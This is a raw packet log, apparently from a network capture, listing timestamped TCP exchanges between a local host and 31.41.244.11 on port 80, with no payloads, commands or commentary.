Dec 18, 2024 11:47:43.530409098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.530464888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.530487061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.530538082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.531815052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.531860113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.531878948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.531917095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.533308983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.533359051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.533454895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.533493996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.534822941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.534876108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.534923077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.534998894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.536283016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.536330938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.536340952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.536377907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.537779093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.537830114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.537877083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.537914991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.539238930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.539345026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.539367914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.539385080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.540751934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.540817976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.540847063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.540888071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.542342901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.542385101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.542407990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.542447090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.543754101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.543797970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.543852091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.543889046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.545325041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.545360088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.545375109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.545392990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.546741009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.546789885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.546938896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.546977997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.548268080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.548321962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.548326969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.548363924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.549709082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.549755096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.549803972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.549840927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.551203012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.551245928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.551310062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.551357031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.552762032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.552807093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.552855968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.552892923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.554287910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.554327965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.554377079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.554414988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.555793047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.555840015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.555888891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.555927992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.557190895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.557239056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.557331085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.557369947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.558747053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.558784008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.558790922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.558815956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.560276031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.560336113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.560395956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.560439110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.561686039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.561731100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.561783075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.561825991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.563301086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.563348055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.563363075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.563396931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.564661026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.564708948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.564727068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.564766884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.566503048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.566541910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.566651106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.566690922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.567759991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.567804098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.567837954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.567872047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.569212914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.569247961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.569261074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.569284916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.570704937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.570744991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.570816040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.570849895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.572256088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.572308064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.572376013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.572419882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.573754072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.573798895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.573798895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.573842049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.575283051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.575334072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.575340986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.575373888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.576710939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.576761961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.576841116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.576881886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.578231096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.578273058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.578344107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.578382969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.579771996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.579823017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.579875946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.579912901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.581248999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.581296921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.697133064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.697169065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.697278023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.697560072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.697596073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.697612047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.697670937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.697724104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.698823929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.698875904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.698932886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.698980093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.700086117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.700133085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.700217962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.700258017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.701400042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.701446056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.701479912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.701520920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.702646017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.702692986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.702701092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.702739000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.703906059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.703955889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.704034090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.704116106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.705164909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.705210924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.705379009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.705421925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.706418991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.706463099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.706538916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.706578016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.707602978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.707648039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.707720995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.707760096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.709069967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.709120989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.709120989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.709167004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.710161924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.710211039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.710285902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.710333109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.711375952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.711417913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.711451054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.711491108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.712670088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.712726116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.712733984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.712774038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.713893890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.713944912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.713989019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.714029074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.715115070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.715169907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.715177059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.715219975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.716353893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.716408968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.716451883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.716495991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.717560053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.717619896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.717670918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.717715979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.718807936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.718852997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.718883991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.718921900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.720061064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.720109940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.720161915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.720205069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.721318007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.721375942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.721427917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.721471071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.722590923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.722635984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.722692966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.722734928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.723826885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.723875046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.723972082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.724020004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.725045919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.725096941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.725172997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.725222111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.726325035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.726372957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.726445913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.726490974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.727507114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.727562904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.727633953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.727679968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.728756905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.728806019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.728846073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.728888035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.730001926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.730051041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.730103970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.730148077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.731240034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.731287003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.731389046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.731432915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.732487917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.732541084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.732582092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.732625008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.733764887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.733813047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.733880997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.733923912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.735009909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.735057116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.735095978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.735131979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.736227036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.736274958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.736332893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.736373901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.737622023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.737679005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.737711906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.737754107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.738725901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.738773108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.738822937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.738862991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.739972115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.740020037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.740067959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.740108013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.741420031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.741476059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.741476059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.741519928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.743026018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.743086100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.743155003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.743196964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.744079113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.744122028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.744158983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.744194984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.745064974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.745107889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.745204926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.745244980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.746239901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.746284008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.746362925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.746407032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.747487068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.747539043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.747636080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.747680902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.748698950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.748752117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.748758078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.748799086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.750011921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.750061989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.750132084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.750174046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.751272917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.751305103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.751334906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.751334906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.752460003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.752506971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.752549887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.752590895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.753705025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.753751040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.753827095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.753870010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.755160093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.755199909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.755268097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.755304098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.756233931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.756280899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.756320000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.756356001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.757376909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.757424116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.757479906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.757519007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.758688927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.758733034 CET	49878	80	192.168.2.6	31.41.244.11
